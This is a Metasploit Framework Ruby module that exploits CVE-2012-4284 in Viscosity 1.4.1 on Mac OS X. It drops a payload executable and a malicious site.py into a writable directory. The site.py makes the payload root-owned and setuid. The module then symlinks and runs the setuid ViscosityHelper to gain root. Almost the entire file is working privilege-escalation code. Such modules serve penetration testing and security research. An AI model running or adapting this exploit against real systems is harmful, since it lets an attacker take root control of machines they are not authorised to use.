##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
def initialize(info={})
super( update_info( info, {
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The
vulnerability exists in the setuid ViscosityHelper, where an insufficient
validation of path names allows execution of arbitrary python code as root.
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X
10.7.5.
},
'References' =>
[
[ 'CVE', '2012-4284' ],
[ 'OSVDB', '84709' ],
[ 'EDB', '20485' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => 'Aug 12 2012',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])
], self.class)
end
def check
if not file?(datastore["Viscosity"])
print_error "ViscosityHelper not found"
return CheckCode::Safe
end
check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")
if check =~ /ViscosityHelper/
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def clean
file_rm(@link)
file_rm(@python_file)
file_rm("#{@python_file}c")
file_rm(@exe_file)
end
def exploit
exe_name = rand_text_alpha(8)
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
evil_python =<<-EOF
import os
os.setuid(0)
os.setgid(0)
os.system("chown root #{@exe_file}")
os.system("chmod 6777 #{@exe_file}")
os.execl("#{@exe_file}", "#{exe_name}")
EOF
@python_file = "#{datastore["WritableDir"]}/site.py"
print_status("Dropping python #{@python_file}...")
write_file(@python_file, evil_python)
print_status("Creating symlink...")
link_name = rand_text_alpha(8)
@link = "#{datastore["WritableDir"]}/#{link_name}"
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"
print_status("Running...")
begin
cmd_exec "#{@link}"
rescue
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
clean
return
end
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
end
end
